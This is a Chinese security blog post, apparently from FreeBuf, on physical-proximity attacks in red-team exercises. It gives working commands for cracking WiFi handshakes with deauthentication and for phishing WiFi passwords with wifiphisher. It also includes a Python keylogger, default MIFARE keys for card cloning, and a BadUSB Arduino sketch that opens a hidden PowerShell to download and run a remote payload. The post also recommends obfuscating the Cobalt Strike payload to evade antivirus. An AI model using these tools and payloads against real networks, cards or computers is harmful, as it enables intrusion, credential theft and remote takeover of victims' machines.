freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

近源攻击方式个人总结
2023-04-26 10:25:51
所属地 广东省

前言

前段时间身边的大佬去搞攻防,近源攻击挺有成效的,拿了上万的分数,直接甩了其他队伍好几条街,之前自己也有搞过但是一直没用到攻防上面,整理下相关的方式,后续可以参考参考,近源攻击,顾名思义,你走近点打他,攻击队通过靠近或者位于攻击目标内部,利用各类智能设备、通信技术、物理接口等方法进行突破,也就是说,攻防期间,除了待在小黑屋里面坐牢,还可以接近目标现场,通过现场的环境进行渗透突破,达到进入内网,获取数据的目的,比起在网上打点,近源攻击能够又快又准的进入目标内网,且方法多种多样,成功率很高,但是有点随缘,运气不好的话,可能你丢的Badusb被保洁阿姨丢掉了或者被保安抓了也不一定,关键还是运气和苟住!

近源攻击方式&&工具

Badusb:利用HID,也就是计算机直接与人交互的设备,例如键盘、鼠标等进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

WIFI破解:通过使用外接无线网卡配合kali破解无线密码,现在一般是通过抓握手包然后通过跑包来破解,通过破解WiFi密码来连接目标网络,直接进入内网环境。

WIFI钓鱼:通过创建或者伪造wifi等待目标现场的工作人员进行连接,等工作人员连接上去之后通过分析数据包获取工作人员的上网信息或者内部wifi密码

电磁脉冲干扰(EMP干扰):开锁利器,目前很多部门对于重要地点大多都是使用智能电子锁,不过当前电子设备和电路的工作频率不断提高,而工作电压却逐渐降低,因此对电磁脉冲(EMP)的敏感性和易损性也不断增加。同时,电子系统中的集成电路对电磁脉冲比较敏感,往往一个较大的电磁脉冲,就会使集成块产生误码、甚至电子元器件失效或烧毁,可以通过使用EMP干扰来打开部分电子门禁和电子密码锁。

变色龙(Chameleon Mini):Chameleon Mini可以完全复制许多商业非接触式智能卡包括UID卡在内的全部内容,因此可以用来测试RFID和NFC设备在各种攻击环境下的安全性。

Proxmark 3:如果使用EMP无法打开门禁,还可以通过接近一下目标,找合适的机会破解IC卡或复制ID卡。对于ID卡,仅需不到一秒即可复制,而如果是存在MFOC漏洞的IC卡,需要十几秒钟时间复制,可谓攻敌利器。

纳米指纹膜:通过指纹拓印出一个跟原指纹一模一样的指纹膜,用于打开指纹锁或者手机锁屏等,看过谍战警匪片的大铁子们都知道的,拿了谁谁谁的指纹,然后现场畅通无阻,不过搞不好就进去了,到时候还得要网安的人来捞人。

键盘记录器:能够针对外接的USB键盘,通过将键盘记录器放置到电脑和USB的之间,能够获取到用户在键盘上敲的数据。

光明正大(潜入)现场插网线:很好理解哈,就是偷跑到客户现场,把网线插到自己的电脑上,这样就能获取到内网的网络配置等信息,直接开始内网渗透,或者能够找到忘记锁或者没有账号密码,容易破解的主机也是一种办法,之前有师傅参加的攻防里头就用了这个,对于一些部门来说,管控没那么严格,你能进他的办公园区或者大楼,他们在里面逛了几圈,拿了几千分,缺点也很明显,容易被抓。

相关方式实现过程

WIFI破解

类型

wifi破解有三种方式分别是:万能钥匙,字典破解,pin码爆破

原理

万能钥匙:类似于密码共享,当这个wifi环境下,有人刚好也使用了这个APP,并且把密码共享出去,那么当有人再次访问这个wifi的时候,APP会将密码发生给手机,如果服务器上不存在这个wifi的密码的时候,会尝试进行弱口令爆破,针对于一些公共场所,这个方法还有成功的可能,而对于一些政府部门,这个方法成功率为零。

字典破解:算是比较高级的方法,通过监听wifi的数据包 ,然后当有人连接wifi的时候,记录握手过程,然后通过字典进行对比,匹配出密码,当这个wifi已经有人连接的时候,没有办法抓到握手包,而现在的WiFi设备为了提供更好的用户体验都会再WiFi断线后尝试自动连接。在自动连接的过程中,手机等 设备会重新向路由器发送加密过后的WiFi密码,当路由器接收到这些信息后会将这些信息同自己内部存储的WiFi密码经过相同加密方式后的数据进行对比, 比对成功就算认证通过,那么可以尝试将已经连接的用户踢下线,让他重新连接,当被踢下线的用户重新连接就能进行监听抓包了。

pin码破解:pin其实依赖于路由的wps。就是只要你按一下WPS 按钮就能连接上WiFi的功能,省去了输密码的麻烦。这本来是个方便用户使用的功能,但是它其实是通过了pin码的方式进行了认证。Pin码认证通过后, 路由就会将密码以明文方式发送给你的网络设备,你的网络设备将自动记录和保存WiFi密码并连接上路由器。Pin码一共8位数,分前4和后4,路由先验证 前四位数是否正确,正确的话才会验证后四位,其实后4位的3位确定后,最后一位也就确定了,所以一共也就11000种可能。当然也不是说pin码就一定能百分比破解,如果关闭了wps功能或者路由器有防pin的功能,就很难进行破解,而且这种只针对老型号的路由器,新的路由器基本上都对pin爆破有防范了,而且有的都是默认关闭wps的。

字典破解

前期准备

支持监听的网卡(最好是8187或者3070的)
kali

airodump-ng实现过程

网卡插入物理机,然后连接到虚拟机上

1682474752_64488700aaa2b61f037c6.png!small?1682474753424

1682474775_644887174ac7ee6261d8d.png!small?1682474776269

查看网卡是否接入成功,记住自己的网卡名,方便寻找

#提升权限
sudo su
#查看网卡
airmon-ng

1682474810_6448873a16ea7f21ec147.png!small?1682474810531

如果没发现的话,看下VMware上的虚拟机里面的可移动设备是不是连接了网卡,如果不是连接一下,还不行的话看下自己买的网卡是不是支持kali或者是不是免驱的,这里注意一点就是,有些网卡虽然支持监听,但是不是免驱的,就有点麻烦,有些良心的会把驱动带上,直接安装就行了,有些是需要你自己去找驱动的,避免踩坑,网上帖子说的那种十几二十块的网卡,我是没买到过,我这个是50多(不知道有没有被坑),但是发射范围不大,只能作为实验或者说你去到人家楼下能够监听到网络的范围,不然的话可以买军工级别的,某鱼上面偶尔会有军工级别的放出来,用来钓鱼的话完全没问题,发射范围好几条街

1682474825_64488749b179290ea1a74.png!small

如果一切正常,检测到了网卡的存在,接着开启下网卡的监控,不开启的话是没办法进行监听的,有一些工具开启之后会帮你打开这个东西

#开启网卡监控
airmon-ng start wlan0(这个位置是根据的你interface名称来的)

1682474856_644887685770e2710670d.png!small?1682474856889

此时网卡名称变化,可以使用命令看看网卡的名字是否改变

ifconfig

1682474878_6448877e1901cad960454.png!small?1682474878703

此时已经开启了网卡的监控,可以开始扫描现场存在的wifi了

airodump-ng wlan0mon(你网卡改变后的名字)

1682474959_644887cfbb743b67070e1.png!small?1682474960648

这里停止监听,选择名为AX的wifi进行破解

1682474971_644887db5138983d5a52e.png!small?1682474971830

输入以下命令

airodump-ng -w freedom -c 1 --bssid 48:2C:A0:F2:BF:D0 wlan0mon -ignore-nefative-oneaa

其中命令参数为

-c:指定信道 -w:指定抓去握手包的存放位置或者名字,freedom是一会抓去的握手包的名字 –bssid:指定路由器的MAC

需要更改两个参数,信道和地址,这两个参数分别是扫描wifi时确定要破解的wifi参数

1682474984_644887e8807d47c7361b6.png!small?1682474985009

执行之后会到以下界面

1682474990_644887eebf23d521ca3d0.png!small?1682474991642

如果没连接的设备,就没办法接着往下的步骤了,所以这块还是比较看缘分的,从数据中看出有一台设备在连接,然后接着把这个用户踢下线,然后监听他重新连接的握手包,运行以下命令

aireplay-ng -0 2 -a 48:2C:A0:F2:BF:D0 -c 0A:FD:D4:19:1A:04 wlan0mon
aireplay-ng -0 2 -a (wifi的mac) -c (连接设备的mac) wlan0mon

1682475011_64488803a7fc23fe3b49e.png!small?1682475012325

执行成功后如上图,表明该客户机以及被成功的踢下线,我们要做的就是等待客户机重新连接,他只要重新连接了,我们就能抓到握手包,进行跑字典破解,这里我们模拟下重新连接这个wifi

1682475017_6448880908f2c7c43aa9d.png!small?1682475017621

如果出现上面的数据,则证明我们监听到了握手包,可以接着进行爆破了,ctrl+c退出抓包,数据包保存在主目录下,名字为freedom-01.ivs的文件

1682475027_64488813ceb951bf55ff6.png!small?1682475028332

01是我之前测试的数据包,02是现在的,我们使用02的进行爆破,字典一定要够强大!!!执行以下命令

aircrack-ng -w pass.txt freedom-02.ivs

1682475034_6448881a7c6bcb3c72fa7.png!small?1682475035051

爆破成功的话就跟上面一样,其实就跟网页爆破弱口令一样,看你自己的字典强度,到了这,我们就算进入对方网络环境了,可以开始扫描同网络环境下存在的主机了,如果不成功的话就是下面这种,平时多攒攒口令,关键时候口令能帮上大忙。

1682475040_6448882088f3b95fe85dc.png!small?1682475041227

wifite实现过程

这个跟上面的airmon-ng是差不多的原理,都是监听-抓包-跑包对比字典的样子,这个会比较一体化,你只需要开启wifite然后选择自己想要监听爆破的wifi,他自己就会进行监听并且不断将已经连接的用户逼下线,通过让用户重新连接去抓取连接时的数据包,然后不断对比字典中的密码,你只需要保证你的字典足够强大就行了,算是很方便的了。

开启wifite,直接kali输入wifite就能启动然后开始监听(如果你插了网卡的话)

1682475062_644888368b7bd0c376551.png!small?1682475063161

看上面报错了,提示缺了三个东西

[!] Warning: Recommended app pyrit was not found. install @ https://github.com/JPaulMora/Pyrit/wiki
[!] Warning: Recommended app hcxdumptool was not found. install @ apt install hcxdumptool
[!] Warning: Recommended app hcxpcapngtool was not found. install @ apt install hcxtools

这里需要把缺少的东西下载完

sudo apt install hcxdumptool 
apt install hcxtools
sudo apt-get install libpcap-dev sudo apt-get install python2.7-dev libssl-dev zlib1g-dev libpcap-dev
git clone https://github.com/JPaulMora/Pyrit.git
cd Pyrit
sudo python setup.py clean
sudo python setup.py build
sudo python setup.py install

然后 就没提示缺少了,可以直接监听

1682475074_6448884261c10eac41ce4.png!small?1682475075009

出现你想要的WiFi之后,按ctrl+c停止监听,然后输入前面的序号,就可以开始爆破了

1682475081_6448884984cf85d492959.png!small?1682475082117

这里我们选择AX的wifi,然后开始捕获PMKID,是几年前比较新的一种用来破解无线密码的WPA/WPA2协议密码的方法,在之前的那些方法中,攻击者需要捕获用户连接路由器时的完整握手包。而新的方法可以在没有客户端的情况下,向AP发送请求来获取PMKID以用于破解,而且在研究员的文章中表示该攻击适用于所有支持并开启漫游功能(Roaming)的无线网络,具体不清楚到底会对多少路由器有效。

1682475088_644888504e74f79a2f67e.png!small?1682475089186

然后有大表哥研究过在实际情况下对周围环境的攻击能有多大的收获,最后在经过家庭环境和办公环境的对比之后得到这样的结论

1.该攻击方式并没有明显降低攻击WPA/WPA2网络的难度,依然需要字典式进行暴力破解,只是允许在无客户端情况下进行。
2.该攻击只对WPA-PSK/WPA2-PSK有效,对企业级802.1X认证热点(WPA-Enterprise)无效。
3.大部分低端家用级路由器由于不支持漫游特性,对该攻击免疫;少部分中高端路由器(往往支持802.11AC)可能受影响,用不上就关掉吧(如果可以的话)。
4.对于用户:依然是提高无线密码复杂度,警惕热点密码分享APP。
5.对于路由器厂商:对WPA-PSK考虑是否有支持漫游特性的必要,或者增加开关。

如果没捕获到PMKID,就会提示PMKID CAPTURE: Failed to capture PMKID,然后进行数据包的监听,当有用户连接进来的时候就会产生握手包,然后去跑字典。

1682475097_6448885962f64c72386b1.png!small?1682475098287

现在就等它破解成功就行了,不过这个有点玄学,我试了好几次,用了几台设备才破解成功一次(密码是12345678)不可能搞不到,虽然说一条龙服务,但是不成功的几率还是太大了,所以第一种的方式会好点,如果没时间盯着的可以选择这一招。

WIFI钓鱼

wifiphisher

原理

wifiphisher会针对在攻击中选择的wifi进行强制连接,然后使连接目标wifi的客户机都下线,再通过自身的网卡发射一个伪装好的wifi,并显示钓鱼页面,然后获取到被攻击wifi的密码,相比起自己发射个wifi,然后诱导现场工作人员来连接这个wifi获取上网信息的钓鱼不同,他的成功率会更高点,而且在近源攻击中, 接近的都是安全意识较强的人群,凭空出现一个热点,很少会有人去连接,而且我们的目的是进入对方内网,我自己发射个热点虽然能够监测到上网信息,但是能不能进内网还得看人品,所以,wifiphisher相对来说好一点。

实现过程

安装wifiphisher,执行以下命令(网卡接入部分就不用说了,上面有)

apt-get install wifiphisher
cd Wifiphisher # 切换到 tools 目录
sudo python setup.py install # 安装依赖

1682475106_6448886275e80c5c4ea17.png!small?1682475107222

安装完成之后,把wifiphisher打开就可以开始选择热点进行钓鱼,执行以下命令

wifiphisher

1682475113_64488869206630a1e2471.png!small?1682475113669

接着就会进入监听状态,查看附近有什么信号源,跟其他的工具差不多,都会把信道,连接数量显示出来,这里尽量选择已经有连接的wifi,不然没人连接的得等到啥时候

1682475154_6448889272f353adfda5a.png!small?1682475155041

然后使用鼠标滚轮或者小键盘的方向键,上上下下寻找你要攻击的wifi,这里我们继续选择AX这个wifi,回车确定就会出现you have selected AX

1682475133_6448887d3db71b5d3c4dd.png!small?1682475133976

接下来是选择攻击模式,网络管理器连接,就是模拟wifi连接失败,然后需要重新连接认证这样获得密码

请求预共享密钥。

1682475172_644888a48e68f230edfd6.png!small?1682475173345

然后就会跳转到这个页面下,显示已经连接的用户,已经进入钓鱼页面的用户还有监听到的密码数据

1682475180_644888ac3bb0838c95742.png!small?1682475180743

看下用户端的情况,当我们开始钓鱼的时候,wifiphisher会发射一个跟被攻击wifi的名称一样的wifi,然后用户就会莫名其妙的下线了,需要重新连接,然后会跳出一个认证页面

1682475191_644888b701ac463c7bf76.png!small?1682475191895

接着当用户输入密码进行验证之后,我们就得到了原来wifi的密码了,又一次顺利进入内网,如果他不信这个,点击了取消的话,页面就会提示这个无线局域网尚未接入互联网,可以说是很逼真了,对付一般的工作人员还是有用的,而且对于政府部门,医院这种,你自己发射个wifi信号出去,能够钓到人,但没准是来办业务的人呢?你监听不到什么有用的数据,所以这种方式会更加有优势一点。

1682475199_644888bf2e865d9d4307a.png!small?1682475200895

键盘记录器

键盘记录器从字面上来解释,就是记录监控输入的仪器,可监控到键盘的每一次敲击,有基于硬件和软件两种类型。很多时候会被用于不正当的用途,用来盗取别人的密码信息。可能是通过U口插入的U盘,或者是网络上通过邮件,网页链接,聊天软件来进行传播的。

软件

屏幕键盘记录精灵,该电脑键盘记录软件当启动监控后,键盘将详细的记录电脑上的一举一动。适用于所有应用程序,如QQ,MSN,Skype,word,excel,记事本,写字板,IE页面等任何键盘输入程序并发送到指定的邮箱内,软件功能包括:键盘的所有输入输出,定时截取屏幕图片保存到指定文件夹内,定时将记录下来的图片和文本发送到指定邮箱,电脑重启后软件能够自动隐藏运行

网上百度一大堆,大部分是没免杀的,而且都要注册码,要我掏钱还不如噶我腰子,这里运气好找到个可以试用的

1682475206_644888c65a3fa7c7459e5.png!small?1682475206889

开启监控之后随便敲几下键盘,然后查看记录,可以看到我们刚刚敲的东西

1682475212_644888cc5e86051eb4c80.png!small?1682475212783

其实还能定时截图的,每隔五秒就会截图一次

1682475218_644888d28878326e329f3.png!small?1682475219009

功能挺完善的,还能定时把数据发送到指定邮箱,并且删除掉数据,把数据删除就不会因为截图太多把占用太多内存,引起怀疑,缺点就是没有免杀,如果免杀了的话,也算是个利器来的,有条件的大佬也可以自己用py写个脚本,类似于这种

#coding=utf-8
# 记录
from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

logger.add('monitor.log')


def on_press(key):
logger.debug(f'键盘输出:{key} ')

def on_release(key):
if key == keyboard.Key.esc:
return False

def f1():
with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
lsn.join()


def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('鼠标左键点击')
elif button == mouse.Button.right:
logger.debug('鼠标右键点击')
return False
else:
logger.debug('mid被点击')


def f2():
with mouse.Listener(on_click=on_click) as listener:
listener.join()


if __name__ == '__main__':
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()

1682475229_644888dd093db6b2e554f.png!small?1682475229535

后续再进行扩展,通过发送到邮箱等方式获取信息,灰鸽子,CS都有类似的功能,测试的时候发现没被杀掉,在不报毒的情况下比硬件设备隐蔽,脚本和硬件各有各个的好处。

硬件

和软件的键盘记录器一样,它会记录下用户在键盘上的所有输入,比如账号密码、网址、手机号等等,硬件版本的独特之处在于:即使现在各种防御措施,已经能防御大多数软件键盘记录器,但是基于硬件的键盘记录器,对于操作系统来说是无感知的,毕竟它就是一个标准的输入设备。识别和防御也就变得十分困难了。

如何得到这样一个利器,国内外的平台上都有买现成的成品,不过价格略贵,某强北的价格是210块钱左右,这个算是比较亲民的了,而国外一些专门卖这种设备的平台,一个就要一两百美刀或者欧元,巨贵,还不如噶我腰子,当然也有很多开源项目,如果懂硬件的大表哥可以自己买开发板制作,成本直接下降一大半,开源设计有spacehuhn的wifi_keylogger:https://github.com/spacehuhn/wifi_keylogger,以wifi_keylogger为例,它是一个基于Arduino的键盘记录器。带有Wi-Fi功能,可以存储记录到的键盘输入,并可以通过其发出的Wi-Fi网络查看记录数据。

1682475294_6448891ec5a93e83a9016.png!small?1682475296366

看起来好像挺大的,好像装到电脑后面马上就会被发现,原因是因为USB键盘使用了HID协议,对于Arduino来说,速度太快没办法读取,所以除了使用Arduino,还需要使用其它的设备用于读取HID协议,也就是USB Host Shield,原作者通过用转换器将USB转换成PS2的键盘,然后通过分析PS2的协议读取HID的协议,虽然解决了速度问题,但是缺点就是太大了,而且会造成不兼容的问题,例如键盘上有一些按键用不了之类的,那如果要解决这类问题的话,其实可以更换芯片,然后重新设计PCB,但是这种太过复杂(对会的人来说可能挺简单的),但是对于我们这种只是想要短时间内马上就能用到,并且有成效的话,总不能还要我去学吧?所以这里的话,建议大家买现成的,资源自寻百度(狗头保命)

Proxmark 3

原理

Proxmark3是一款国外安全团队研发的开源设备,内置高频和低频天线,能够识别和读取大部分的RFID卡片,而且国内的PM3还可以通过转接头等工具和手机电脑连接,达到跨平台的效果,日常用的卡片有两种,一种是ID卡,一种是IC卡,ID卡内的卡号读取很容易,不需要权限,所以很容易仿制,而IC卡内的数据读取需要权限认证,有些IC卡的每个扇区都有不同的认证密码,所以破解难度会相对较高,但是由于IC卡中存在伪随机数发生器,造成了一定的安全问题,而Proxmark3和其他的读卡设备可以自由控制线圈通电时间,从而绕过部分安全验证,破解出IC卡的密码。

例如这种16扇区,64扇块的M1卡,内部的数据存储形式是这样的

1682475319_644889374431c12137c3b.png!small?1682475320060

1682475310_6448892ea6266e1a8f3d7.png!small?1682475311128

常用的M1卡主要有NXP生产的S50和S70,都是属于MifareClassic家族。以S50为例,国内兼容的最好的厂家是上海复旦微电子生产的FM11RF08芯片,二者的区别在控制位上,控制位主要是读卡器在验证卡的时候所用到的,不同的控制位表示不同的验证方式,NXP的S50前15个扇区的密码块的控制位是:“FF078069”,最后1个扇区的密码快的控制位是:“FF0780BC”。

而复旦FM11RF08芯片的所有扇区的所有控制位均为:“FF078069”。接着就是看芯片第0扇区第0块的代码,从第10位开始看,如果后面是“08040062636”就是复旦的芯片,而如果是“08040023569”就是贝岭芯片。

MifareClassic 1k共有16个扇区,分别为0-15个扇区;每个扇区有4块,分别为0-3块,每个块有32个字符;0扇区的0块为只读块,只存储厂商代码和UD号。

其他每个扇区的前3块为数据库,最后一块为密码块。密码块的前12个字符为A区密码,中间8个字符为控制位,后面12个字符为B区密码。

默认口令爆破

IC卡在制造时制造厂商为了方便会将除0扇区之外的扇区的所有密码默认设置为FFFFFFFFFFFF,这就是IC卡片的默认密码,所以可以使用PM3对卡片的默认密码进行爆破。早期的PM3要把高频天线连接到Proxmark3的天线接口,并且连接完成之后要查看一下天线与PM3连接之后的工作电压是否正常;国产的PM3工具在设计时就将高频天线和低频天线安装到一起,在使用时只需要实用工具对其电压等进行探测是否正常。

这里简要说下过程,如果想要看图的话,可以自行百度,网上也有教程

#工具准备
Proxmark3
IC卡片
Proxmark3 Easy GUI
#实施过程
1、先用数据线将Proxmark3和电脑连接,然后找到相对应的串口,连接成功后检测下工作电压
2、把准备好的IC卡放到高频卡读卡器位置,查看天线电压的变化,如果高频天线的电压下降了,说明我们买到的是高频IC卡,先读取卡片类型
3、先检测是否存在出厂时遗留的key,默认key有
nffffffffffff
nbob1b2b3b4b5
n000000000000
na0ala2a3a4a5
naabbccddeeff
n714c5c886e97
na0478cc39091
4、通过默认密码扫描,看能不能读取到某个扇区的密码
5、利用嵌套认证漏洞使用任何一个扇区的已知密匙,获取所有扇区的密匙,此漏洞成功率较高,这个漏洞也被称作知一密求全密,如果从上一步中已经知道其中的几个扇区的默认密码,使用PM3的知一密求全密的功能对扇区进行破解
6、如果上面的方式不行,那就使用PRNG漏洞进行破解,Proxmark3基于PRNG的安全缺陷是进行随机数碰撞,利用PRNG的安全缺陷我们可以很快速地得到对应的密钥,从而进行进一步的破解操作。
#MIFARE Classic采用的是Crypto-1私有加密算法,其算法的特点就是对称式的密码算法或者说是私钥密码系统。其主要组成部分是伪随机数发生器(PRNG)、48位的线性反馈移位寄存器(LFSR)以及非线性函数。由于算法当中的Filter Function的设计出现缺陷,导致改变线性反馈移位寄存器的后8位数值就有可能得到所对应的Keystream。这个缺陷类似于802.11bWEP算法,不同的明文有极高的可能性被相同的Keystream,使得整个加密算法出现了漏洞。
7、如果上面两种方式都不行,也可以尝试RFID嗅探,RFID嗅探也是一种非常常见的RFID攻击方式,对于一些卡片无法使用默认密码或者PRNG漏洞攻破其密码,但是仍然可以使用嗅探的方式对其进行攻击,从而嗅探出密码。
8、破解完就是复制卡片了,没啥难度

Badusb

原理

Badusb,也就是利用HID接口的类似于U盘的东西,HID(人体学接口设备)是一个设备类定义,用于将 PS/2 样式的连接器替换为支持 HID 设备(例如键盘、鼠标、游戏控制器等)的通用USB 驱动程序,在 HID 之前,设备只能对鼠标和键盘使用严格定义的协议。硬件创新要求使用现有协议重载数据,或使用其自己的专用驱动程序创建非标准硬件, HID为这些“启动模式”设备提供了支持,同时通过可扩展、标准化且易于编程的接口添加对硬件创新的支持。简单来说HID设备就是键盘这种输入设备 而HID攻击呢,其实就是指利用模拟键盘的输入进行的攻击,其内部结构是这样的

1682475269_64488905a988ab1be3ac1.png!small?1682475270264

从这张图便可以了解到Badusb和普通的U盘并没有什么两样,因此迷惑性极高,很容易攻击成功,在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。

Badusb插入后,会模拟键盘对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载恶意代码(通常为powershell脚本)并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

关于硬件,各大平台都有在卖现成的,例如万能的某宝,某鱼,或者Hak5,Hak5上面的价格十分《亲民》谨慎购买,橡皮鸭算是上面比较亲民的了50刀的样子,毕竟实际攻防的时候,丢地上最后去哪了都不知道,血亏几百刀。

1682475351_644889571118e67cd984a.png!small?1682475351722

自制Badusb

别人能做那当然也可以自己制作,熟悉Arduino的大佬,完全可以自己买块开发板回来自己烧录,而且网上有现成的教程和代码,直接CCV就行了。

开发板烧录过程

1、买个经典版的橡皮鸭rubber ducky(其他开发板也可以) 2、在CS上面生成个ps1文件格式Powershell可执行的程序 3、对CS生成的Ps文件进行免杀(这里可以用Invoke-Obfuscation进行免杀,https://github.com/danielbohannon/Invoke-Obfuscation) 4、安装Digispark (Attiny85)开发板驱动。

1682475363_644889631de0b705c5da1.png!small?1682475363754

5、打开Arduino软件,点击文件中的首选项,附加开发板管理器网址填入:https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json

6、点击工具中的开发板中的开发板管理器,等待下载索引完成(下载不成功请使用海外代理),搜索并安装“Digistump AVR Boards by Digistump”,安装完成后在开发板中选择Digispark(Default-16.5mhz)

1682475371_6448896b3287031228d82.png!small?1682475371912

7、将以下代码填入Arduino代码框中,以实现伪造键盘输出win+r打开运行窗口并执行Powershell命令:

void setup(){//初始化 
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/main.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {}

8、将代码上传到开发板中,等待烧录完成即可,烧录成功之后,插入电脑即可上线

总结

近源渗透相比普通的渗透测试可能成本更高,毕竟一个设备动不动就要一两百美刀,谁顶得住啊,但是如果能更好的掌握社工技巧会事半功倍,而且对于蓝队来说更是防不胜防,有可能自己在网络这块防得死死的,被现场的好队友捡到的u盘送走了,虽然设备费用贵,但贵有贵的道理,从另一个方面讲,以后的常规渗透测试肯定也会越来越多的结合近源渗透测试的一些手段和方法,这不仅仅是提高了红队的攻击能力,同时也是对蓝队防守能力在更高维度上提出了要求,总结得跟实战还是有点差距的,实战没有那么多的操作空间,而且限制很大,大佬轻点喷。

# 渗透测试 # 网络安全 # 攻防演练 # 企业安全 # 近源渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录